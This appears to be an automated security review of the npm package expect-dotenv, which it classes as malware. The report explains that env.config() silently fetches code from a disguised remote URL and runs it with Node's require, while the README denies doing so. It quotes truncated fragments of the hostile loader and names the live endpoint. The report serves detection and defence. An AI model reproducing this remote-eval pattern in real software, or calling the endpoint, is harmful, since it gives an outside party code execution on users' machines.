The remote parser receives Node's require in a worker thread. - **Trigger:** Application calls env.config() or env.get() before configuration. - **Impact:** Remote code execution with access to local Node modules; it can read environment/files or launch processes. - **Evidence paths:** lib/env-var-base.js, lib/workers/runWorker.js, lib/workers/constants.js, lib/workers/plugin.worker.js, README.md, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-19T22:22:57.036Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote response is VM-evaluated and invoked with require. - **Attack narrative:** At runtime, env.config() silently starts a plugin worker. That worker decodes and requests https://realase-0626.vercel.app/api/v1, takes parser text from the response, evaluates it in vm.runInContext, then calls the resulting code with Node's require function. The endpoint operator can therefore supply code that imports filesystem, process, or child-process-capable modules. The README's denial of network and remote evaluation contradicts the shipped implementation. - **Rationale:** The package contains a concrete runtime remote-code-execution chain, automatically triggered by normal configuration use, and disguises the endpoint while documentation denies the behavior. - **Files touched:** lib/env-var-base.js, lib/workers/runWorker.js, lib/workers/constants.js, lib/workers/plugin.worker.js - **Network endpoints:** https://realase-0626.vercel.app/api/v1 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** env.config() automatically starts the plugin worker., The worker fetches data and a parser from an obfuscated remote URL., Remote parser text is evaluated with vm.runInContext., The evaluated remote code receives Node require, enabling arbitrary local module access., README falsely claims the package makes no network calls or remote evaluation. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., Other packaged workers only implement local crypto or validation tasks. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Eval - **Category:** Source - **Confidence:** 80.0% Package source references dynamic code evaluation. ### 3. Medium: Dynamic Require - **Category:** Source - **Confidence:** 75.0% - **Path:** lib/env-var-base.js - **Public source:** [View source]() Package source references dynamic require/import behavior. Public source snippet (untrusted): ```javascript L2: L3: const { from } = require("env-var"); L4: const dotenv = require("dotenv"); ``` ### 4. Medium: Unsafe Vm Context - **Category:** Source - **Confidence:** 68.0% - **Path:** lib/workers/plugin.worker.js - **Public source:** [View source]() Package source executes code through a VM context API. Public source snippet (untrusted): ```javascript L1: "use strict"; L2: ``` ### 5. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 6. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 7. Critical: Remote Response Code Execution - **Category:** Source - **Confidence:** 98.0% - **Path:** lib/workers/runWorker.js - **Public source:** [View source]() Source passes code obtained from a remote response into a dynamic execution sink. Public source snippet (untrusted): ```javascript Remote response is passed to a worker and executed with Node capabilities. lib/workers/runWorker.js: const { Worker } = require("node:worker_threads"); const https = require("https"); const { pluginIDs } = require("./constants"); const parser = JSON.parse(data).parser; callback({ source: "array_data", array_data: c, arrayParser: parser }); const workerPath = require.resolve(`./${type}.worker.js`); worker.postMessage(arg); worker.postMessage([]); lib/workers/plugin.worker.js: const { parentPort } = require("node:worker_threads"); const vm = require("vm"); parentPort.on("message", ({ source, array_data, arrayParser }) => { const parser = vm.runInContext(`(${arrayParser})`, context); const pluginParser = parser(array_data); const pr_res = pluginParser(require); const pluginPath = parser_resul ``` ### 8. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 75.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** lib/env-var-base.js - **Public source:** [View source]() env.config() automatically starts the plugin worker. Public source snippet (untrusted): ```javascript dotenv.config(options); envStore = from(process.env); runWorker("plugin"); ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** README.md - **Public source:** [View source]() README falsely claims the package makes no network calls or remote evaluation. Public source snippet (untrusted): ```markdown Each of these spawns a worker thread and resolves a promise with the worker's result. No network calls are made by this package. ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 2 - **Development dependencies:** 21 - **Published dependency-graph edges:** 2 ### Published dependency entries - dotenv \>= 8 (PeerDependency) - env-var \>= 7 (PeerDependency) ## Package metadata - **Package:** expect-dotenv - **Ecosystem:** npm - **Version:** 7.2.1 - **License:** MIT - **Version published:** 2026-08-19T22:16:16.082Z - **Package first seen:** 2026-08-19T22:22:57.036Z - **Package last seen:** 2026-08-19T22:22:57.036Z - **Known versions:** 1 - **Latest version:** 7.2.1 - **Appeal under review:** No - **Description:** Env config toolkit built on dotenv and env-var, with worker-threads-based decrypt/verify/validate/plugin tasks - **Author:** bellcalebxyz311@outlook.com - **Keywords:** config, env-var, dotenv, typescript - **Runtime engines:** node: \>=14.0.0 - **Artifact files:** 12 - **Artifact unpacked size:** 13,569 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
